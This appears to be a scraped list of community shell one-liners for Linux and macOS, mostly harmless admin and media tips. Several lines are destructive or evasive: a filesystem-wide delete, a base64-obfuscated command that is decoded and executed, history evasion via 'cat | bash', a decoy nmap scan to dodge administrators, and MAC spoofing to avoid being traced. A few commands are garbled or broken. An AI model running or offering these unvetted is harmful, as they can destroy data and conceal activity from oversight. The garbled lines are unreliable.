ls -1d */
updatedb for MAC OSX
alias updatedb="sudo /usr/libexec/locate.updatedb"
Delete all files by extension
find / -name "*.jpg" -delete
To print a specific line from a file
awk 'FNR==5' <file>
Recursively scan directories for mp3s and pass them to mplayer
rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
find duplicate messages in a Maildir
find $folder -name "[1-9]*" -type f -print|while read file; do echo $file $(sed -e '/^$/Q;:a;$!N;s/\n //;ta;s/ /_/g;P;D' $file|awk '/^Received:/&&!r{r=$0}/^From:/&&!f{f=$0}r&&f{printf "%s%s",r,f;exit(0)}');done|sort -k 2|uniq -d -f 1
The top ten commands you use
perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10
Random colours at random locations
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
Generat a Random MAC address
od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1
Run local bash script on remote server
ssh -T user@server < script.sh
Look for English words in /dev/urandom
head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt
Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
Look for English words in /dev/urandom
head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done
get you public ip address
curl ifconfig.me
List just the executable files (or directories) in current directory
ls *(.x)
Create QR codes from a URL.
qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o qr.$(date +%Y%m%d%H%M%S).png; }
Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
Join lines
tr "\n" " " < file
ASCII webcam live stream video using mplayer
mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:outfmt=rgb16 -vo aa tv://
Retrieve a random command from the commandlinefu.com API
wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d; /./p'
Sets shell timeout
export TMOUT=10
mplayer webcam window for screencasts
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop
Signals list by NUMBER and NAME
kill -l
capture mysql queries sent to server
tshark -i any -T fields -R mysql.query -e mysql.query
Random unsigned integer
echo $RANDOM
stop man page content from disappearing on exit
echo "export LESS='FiX'" >> ~/.bashrc
Most Commonly Used Grep Options
GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case'
Display text as though it is being typed out in real time
echo "text to be displayed" | pv -qL 10
CPU architecture details
lscpu
Killing processes with your mouse in an infinite loop
while true; do xkill -button any; done
ROT13 whole file in vim.
ggg?G
Compress a series of png pictures to an avi movie.
mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
Print all 256 colors for testing TERM or for a quick reference
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
Search commandlinefu.com from the command line using the API
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
Deleting / Ignoring lines from the top of a file
sed 1d foo.txt
Quickly move the cursor to different parts of the command line based on a mark.
ctrl-x ctrl-x
[vim] Clear a file in three characters (plus enter)
:%d
chroot, bind mount without root privilege/setup
proot -r /media/user/ubuntu12.10/ cat /etc/motd
Extract all GPS positions from a AVCHD video.
exiftool -ee -p "$gpslatitude, $gpslongitude, $gpstimestamp" a.m2ts
Get just the IP for a hostname
dig hostname a +short
Create a backup copy of a MySQL database on the same host
mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql
List only directories, one per line
find . -type d -maxdepth 1
import a new set of files located in a local directory into a remote Subversion repository
svn import /home/kaz/myproject svn+ssh://svn.FOO.codehaus.org/home/projects/FOO/scm/project1/trunk
[vim] Clear trailing whitespace in file
:%s/\s\+$//
replace a character/word/string in a file using vim
:%s/old/new/g
Check if you need to run LaTeX to update the TOC
cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi
Force hard reset on server
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
remove files and directories with acces time older than a given date
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
create screencast (record text and audio simultaneously) using 'script' and 'arecord'
screencast() { arecord -R 1000 -f cd -t wav $1.wav & RECPID=$!; echo "Starting screencast in new shell. Exit subshell to quit."; script -t 2> $1.timing -a $1.session; kill $RECPID; }
tar.gz with gpg-encryption on the fly
tar -cvz /<path>/ | gpg --encrypt --recipient <keyID> > /<backup-path>/backup_`date +%d_%m_%Y`.tar.gz.gpg
Short URLs with is.gd
isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}
Show drive names next to their full serial number (and disk info)
lsblk -do name,model,serial
Watch how many tcp connections there are per state every two seconds.
$ watch -c "netstat -natp 2>/dev/null | tail -n +3 | awk '{print \$6}' | sort | uniq -c"
Time Synchronisation with NTP
ntpdate ntp.ubuntu.com pool.ntp.org
concatenate compressed and uncompressed logs
zcat -f $(ls -tr access.log*)
convert single digit to double digits
function rjust_file_nums() {for i in *.ogg; do; mv $i `ruby -e "print ARGV.first.gsub(/\d+/){|d| d.rjust($1,'0')}" $i`; done}
Sprunge.us - CLI alternative to PasteBin.com
alias pasteit="curl -F 'sprunge=<-' http://sprunge.us"
Count number of files in subdirectories
find . -maxdepth 1 -type d -exec sh -c "printf '{} ' ; find '{}' -type f -ls | wc -l" \;
Regenerate the /etc/mtab file
grep -v rootfs /proc/mounts > /etc/mtab
execute your commands and avoid history records
cat | bash
reset hosed terminal
cls(){ printf "\033c";} or, if no printf, cat > c ;<ctrl+v> <ctrl+[>c <enter><ctrl-d> c(){ cat c;} #usage: c
Stream audio over ssh
sox Klaxon.mp3 -t wav - |ssh thelab@company.com paplay
ls not pattern
ls -I "*.gz"
Print a list of installed Perl modules
perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst->modules(); print join("\n", @modules);'
Display connections histogram
netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort | uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'\''
Lets Tux say the random fact. [add it to .bashrc to see it in new terminal window]
wget randomfunfacts.com -O - 2>/dev/null|grep \<strong\>|sed "s;^.*<i>\(.*\)</i>.*$;\1;"|cowsay -f tux
grep binary (hexadecimal) patterns
grep -P "\x05\x00\xc0" mybinaryfile
Get a brief overview of how many files and directories are installed
locate -S
merge vob files to mpg
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
Apply permissions only to files
chmod 644 $(find . -type f)
find out how many days since given date
echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))
Quickly create simple text file from command line w/o using vi/emacs
cat > <file_name> << "EOF"
Reboot as a different OS in Grub
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
see the TIME_WAIT and ESTABLISHED nums of the network
netstat -n | awk '/^tcp/ czjqqkd:0B[$NF]} END {for(a in B) print a, B[a]}'
deaggregate ip ranges
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v deag
See why a program can't seem to access a file
strace php tias.php -e open,access 2>&1 | grep foo.txt
Preserve colors when piping tree to less
tree -C | less -R
Open files in a split windowed Vim
vim -o file1 file2...
Unix commandline history substitution like foobar BUT for multiple replacements
!!:gs/Original/New/
Limit bandwidth usage by any program
trickle -d 60 wget http://very.big/file
Watch active calls on an Asterisk PBX
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
Update zone file Serial numbers
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
Multi-line grep
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
Backup all mysql databases to individual files on a remote server
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/$I.sql.gz"; done
split source code to page with numbers
pr -l 40 bitree.c > printcode; split -40 printcode -d page_
Update Ping.fm status
curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
Commit command to history file immedeately after execution
PROMPT_COMMAND="history -a"
This command can be used to extract the IP address of the network.
inet_ip=`ifconfig wlan0 | grep inet | cut -d: -f2 | cut -d ' ' -f1` && echo $inet_ip
remove password from openssl key file
openssl rsa -in /path/to/originalkeywithpass.key -out /path/to/newkeywithnopass.key
Analyze, check, auto-repair and optimize Mysql Database
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
Generate the CPU utilization report
sar -u 2 5
cooking a list of numbers for calculation
echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
Turn white color to transparent for a series of png images
mogrify -transparent white image*.png
Search files with js declarations inside
grep -r "<script" | grep -v src | awk -F: '{print $1}' | uniq
convert video to gif by ffmpeg and imagemagick
ffmpeg -i input.flv -vf scale=320:-1 -r 10 -f image2pipe -vcodec ppm - | convert -delay 5 -loop 0 - output.gif
seconds since epoch to ISO timestamp
printf '%(%FT%T)T\n' 1606752450
Display command lines visible on commandlinefu.com homepage
ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
Set access and modification timestamps of a file using another one as reference
touch -r "$FILE1" "$FILE2"
Restore user,group and mod of an entire website
alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R .'
List bash functions defined in .bash_profile or .bashrc
typeset -f
mail with attachment
tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' you@host.fr
Remove annoying files from recently extracted zip archive
unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
Test a serial connection
host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0
Display Motherboard Info
dmidecode -t baseboard
Query ip pools based on successive netnames via whois
net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done
backup your playstation game using rip
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
unbuffered python output
$ python -u script.py
Sum file sizes
du -scb
use google's text-to-speech and play in media player
say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=$1" open output.mp3 &>/dev/null || xdg-open output.mp3 &>/dev/null }
split and combine different pages from different pdf's
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
Url Encode
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
Get the weather forecast for the next 24 to 48 for your location.
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}
Use bash history with process substitution
Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}
Do some learning…
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
Check RAM size
free -mto
get bofh excuse from a trusted source :-)
telnet bofh.jeffballard.us 666
Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
Increase mplayer maximum volume
mplayer dvd:// -softvol -softvol-max 500
Display the output of a command from the first line until the first instance of a regular expression.
command | sed -n '1,/regex/p'
Print trending topics on Twitter
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
Check reverse DNS
dig +short -x {ip}
create disk copy over the net without temp files
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
Block the 6700 worst spamhosts
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
Show when filesystem was created
dumpe2fs -h /dev/DEVICE | grep 'created'
See non printable caracters like tabulations, CRLF, LF line terminators ( colored )
od -c <FILE> | grep --color '\\.'
List the size (in human readable form) of all sub folders from the current location
du -sh */
Determine what an process is actually doing
sudo strace -pXXXX -e trace=file
Shell function to exit script with error in exit status and print optional message to stderr
die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba user
sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt
List all available commands (bash, ksh93)
printf "%s\n" ${PATH//:/\/* }
Find the cover image for an album
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
search ubuntu packages to find which package contains the executable program programname
apt-file find bin/programname
another tweet function
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
test for ksh/bash
isKsh () { one=1; [ one -eq 1 ] 2> /dev/null; }
Netstat Connection Check
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
record the input of your sound card into ogg file
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
Sort output by length of line
sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sort -n|sed -u 's/^[^@]*@//'; }
Scrollable Colorized Long Listing - Hidden Files Sorted Last
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
Launch a game, like Tetris, when apt-get installing an app larger than 50 Megabytes
APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
diff two svn repos ignoring spaces,tabs and svnfiles
diff -wubBEr -x .svn dirA dirB
The program listening on port 8080 through IPv6
lsof -Pnl +M -i6:8080
batch crop images whit ImageMagick
mogrify -crop <width>x<height>+<X-offset>+<Y-offset> *.png
Grab a list of MP3s out of Firefox's cache
find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'
Import/clone a Subversion repo to a git repo
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
read a file line by line and perform some operation on each line
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
Direct auto-complete in bash
bind '"\t":menu-complete'
Show memory stats on Nexenta/Solaris
echo ::memstat | mdb -k
Lines per second in a log file
tail -F some.log | perl -ne 'print time(), "\n";' | uniq -c
Emulate tail using awk.
awk '{ c=NR%n; a[c]=$0 } END{ for(i=1; i<=n; i++) print a[(c+i)%n] }' n=10 File
Prints any IP out of a file
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
Open Remote Desktop (RDP) from command line having a custom screen size
xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40
Open Port Check
lsof -ni TCP
resize all images in a folder
for i in *.JPG; do convert -resize 1000x1000 -quality 85 $i `basename $i .png`-klein.png; done
coloured shell prompt
export PS1="\e[1;32m\u\e[0m@\e[1;31m\h\e[0m\e[1;33m\w:#> \e[1;32m"
List manually installed packages (excluding Essentials)
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
Find broken symlinks and delete them
rm **/*(-@)
Hypnosis
for count in $(seq 2 1001); do espeak "$count sheeps";sleep 2;done
List all NPM global packages installed
npm list -g --depth 0
cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
Display a block of text with AWK
sed -n /start_pattern/,/stop_pattern/p file.txt
lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)
Get absolut path to your bash-script
script_path=$(cd $(dirname $0);pwd)
Display the history and optionally grep
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
Remount a usb disk in Gnome without physically removing and reinserting
eject /dev/sdb; sleep 1; eject -t /dev/sdb
On screen display of a command.
date|osd_cat
List dot-files and dirs, but not . or ..
ls -A
create pdf files from text files or stdout.
enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)
save date and time for each command in history
export HISTTIMEFORMAT='%F %T '
save date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
Detect if we are running on a VMware virtual machine
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
32 bits or 64 bits?
sudo lshw -C cpu|grep width
Execute text from the OS X clipboard.
`pbpaste` | pbcopy
Show apps that use internet connection at the moment. (Multi-Language)
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
Start an X app remotely
ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi
connect via ssh using mac address
sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
Quick and dirty convert to flash
ffmpeg -i inputfile.mp4 outputfile.flv
Finding files with different extensions
find . -regex '.*\(h\|cpp\)'
Sync MySQL Servers via secure SSH-tunnel
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
Let your computer lull you to sleep
echo {1..199}" sheep," | espeak -v english -s 80
convert unixtime to human-readable with awk
echo 1234567890 | awk '{ print strftime("%c", $0); }'
log your PC's motherboard and CPU temperature along with the current date
echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
watch iptables counters
watch --interval 0 'iptables -nvL | grep -v "0 0"'
Download all Phrack .tar.gzs
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
rename / move Uppercase filenames to lowercase filenames current directory
FileList=$(ls); for FName in $FileList; do LowerFName=$(echo "$FName" | tr '[:upper:]' '[:lower:]'); echo $FName" rename/move to $LowerFName"; mv $FName $LowerFName; done
Make backups recurse through directories
find -type -f -exec cp {} {}.bak \;
On Screen micro display for battery and CPU temperature. nifty, small, omnipresent
acpi -t | osd_cat -p bottom
encrypt and post or get and decrypt from sprunge using gpg symmetric encryption option
function cpaste () { gpg -o - -a -c $1 | curl -s -F 'sprunge=<-' http://sprunge.us } function dpaste () { curl -s $1 | gpg -o - -d }
Change the primary group of a user
usermod -g group user
Download Englishword pronounciation as mp3 file
word="apple"; wget http://ssl.gstatic.com/dictionary/static/sounds/de/0/$word.mp3
Remove all old kernels
sudo apt-get purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve "$(uname -r | sed -r 's/-[a-z]+//')")
Delete empty directories recursively
find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
Remove all mail in Postfix mail queue.
postsuper -d ALL
Schedule a command while one is already running.
a command is running... <^z> fg; scheduled_command
Url Encode
$ php -r "echo urlencode('$1');"
Automatically tunnel all ports of running docker instances in boot2docker
docker ps -q | xargs -n 1 docker inspect | jq '.[0].NetworkSettings.Ports +{} | map(select(. != null)[0].HostPort) | map("-L \(.):localhost:\(.)") ' | sed -n 's/.*"\(.*\)".*/\1/p' |xargs boot2docker ssh -N
Update IP filter for qBittorrent
wget -O - http://list.iblocklist.com/\?list\=ydxerpxkpcfqjaybcssw\&fileformat\=p2p\&archiveformat\=gz | gunzip > ~/ipfilter.p2p
Find all dot files and directories
ls -d .*
Recompress all text files in a subdirectory with lzma
find . -name '*.txt' -print0 | parallel -0 -j+0 lzma
Find default gateway (proper at ppp connections too)
route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the World: ",($_[1]!=$ANY)?$_[1]:(`ip address show $_[$#_]`=~/peer ([0-9\.]+)/ and $1),", via $_[$#_].\n"'
looking for files not subversioned
svn status | awk '$1!~"M" {print $0}'
Mac OS X: Change Color of the ls Command
export LSCOLORS=gxfxcxdxbxegedabagacad
ping a host until it responds, then play a sound, then exit
beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
Download a new release of a program that you already have very quickly
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
Kick user
killall -u username
Hypnosis
for count in $(seq 2 1001); do say "$count sheeps";sleep 2;done
Get the number of days in a given month and year
: $(cal [$month $year]) ; echo $_
Listen Digitally Imported Radio from CLI (without premium!)
mplayer http://pub7.di.fm/di_ambient_aac?1 -user-agent "AudioAddict-di/3.2.0.3240 Android/5.1"
Output requirements.txt packages pinned to latest version
pip install -r requirements.txt --dry-run --no-deps --ignore-installed | tail -n1 | tr ' ' '\n' | tail -n+3 | sed -e "s/\(.*\)-/\1==/"
Connect to SMTP server using STARTTLS
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
Silently Execute a Shell Script that runs in the background and won't die on HUP/logout
nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
Get the size of all the directories in current directory (Sorted Human Readable)
sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
Extract dd-image from VirtualBox VDI container and mount it
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
Check if a domain is available and get the answer in just one line
whois domainnametocheck.com | grep match
Remove newlines from output
grep . filename
Get the size of all the directories in current directory
du --max-depth=1
Alert on Mac when server is up
ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'
Copy a directory recursively without data/files
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
ssh and attach to a screen in one line.
ssh -t user@host screen -x <screen name>
Save man pages to pdf
man -t man | ps2pdf - > man.pdf
Resets your MAC to a random MAC address to make you harder to find.
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
Use a decoy while scanning ports to avoid getting caught by the sys admin :9
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
git remove files which have been deleted
git ls-files -z --deleted | xargs -0 git rm
Update twitter from command line without reveal your password
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
permanently let grep colorize its output
echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
Matrix Style
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
Move files around local filesystem with tar without wasting space using an intermediate tarball.
( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
Scan Network for Rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
find the 10 latest (modified) files
ls -1t | head -n10
purge installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
Paste the contents of OS X clipboard into a new text file
pbpaste > newfile.txt
du disk top 10
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
Get pages number of the pdf file
pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
Backup sda5 partition to ftp ( using pipes and gziped backup )
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
See the top 10 IP addresses in a web access log
cut -d ' ' -f1 /var/log/nginx/nginx-access.log | sort | uniq -c | sort -nr | head -10 | nl
Search inside a folder of jar/zip files
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
Simple way to envoke a secure vnc session through ssh enabled router.
vncviewer -via root@your.dyndns.com 192.168.1.1
List your MACs address
sort -u < /sys/class/net/*/address
bash: display disks by id, UUID and HW path
tree /dev/disk
Hits per hour apache log
awk -F: '{print $2}' access_log | sort | uniq -c
Create a html of information about you harddisk
lshw -C disk -html > /tmp/diskinfo.html
Alternative size (human readable) of files and directories (biggest last)
du -ms * | sort -nk1
Check a server is up. If it isn't mail me.
curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
Replace Caps-lock with Control-key
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
Extract IPv4 addressess from file
grep -Eo \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq
Get MD5 checksum from a pipe stream and do not alter it
tee >(openssl md5 > sum.md5) <somefile | bzip2 > somefile.bz2
Mirror rubygems.org
ruby -rrubygems/commands/mirror_command -S gem mirror
Use QEMU to create a hardware dual-boot without rebooting
sudo qemu-system-x86_64 -bios /usr/share/ovmf/x64/OVMF.fd -accel kvm -boot d -cdrom ubuntu-21.10-desktop-amd64.iso -drive format=raw,file=/dev/sdb -m 4096
Compare two CSV files, discarding any repeated lines
cat foo.csv bar.csv | sort -t "," -k 2 | uniq
Extract ip addresses with sed
sed -n 's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\nip&\n/gp' ips.txt | grep ip | sed 's/ip//'| sort | uniq
Search recursively to find a word or phrase in certain file types, such as C code
ack "search pharse" *.[ch]
remove lines which are longer than 255
sed -n '/^.\{255\}/!p'
Print today's date in ISO format without calling an external command (bash 4)
today() { printf '%(%Y-%m-%d)T\n' -1; } #!!! Example "bash-4
Make changes in .bashrc immediately available
bashrc-reload() { builtin exec bash ; }
Alias to edit and source your .bashrc file
alias vb='vim ~/.bashrc; source ~/.bashrc'
List all symbolic links in current directory
\ls -1 | xargs -l readlink
make directory with current date
mkdir $(date +%F)
Multi line grep using sed and specifying open/close tags
cat file.txt | sed -e /<opening tag>/d -e /<closing tag>/G | sed -e '/./{H;$!d;}' -e 'x;/<string to search>/!d;'
Download an entire website from a specific folder on down
wget --recursive --no-clobber --page-requisites --html-extension --convert-links --domains website.org --no-parent www.website.com/folder
backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;
Vi - Matching Braces, Brackets, or Parentheses
%
View and review the system process tree.
pstree -Gap | less -r
Prevent shell autologout
unset TMOUT
Random line from bash.org (funny IRC quotes)
curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
Add a shadow to picture
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage {$file_out}
Releases Firefox of a still running message
rm ~/.mozilla/firefox/<profile_dir>/.parentlock
Convert a SVG file to grayscale
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
Execute a command on logout
trap cmd 0
See most used commands
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
dstat - a mix of vmstat, iostat, netstat, ps, sar…
dstat -ta
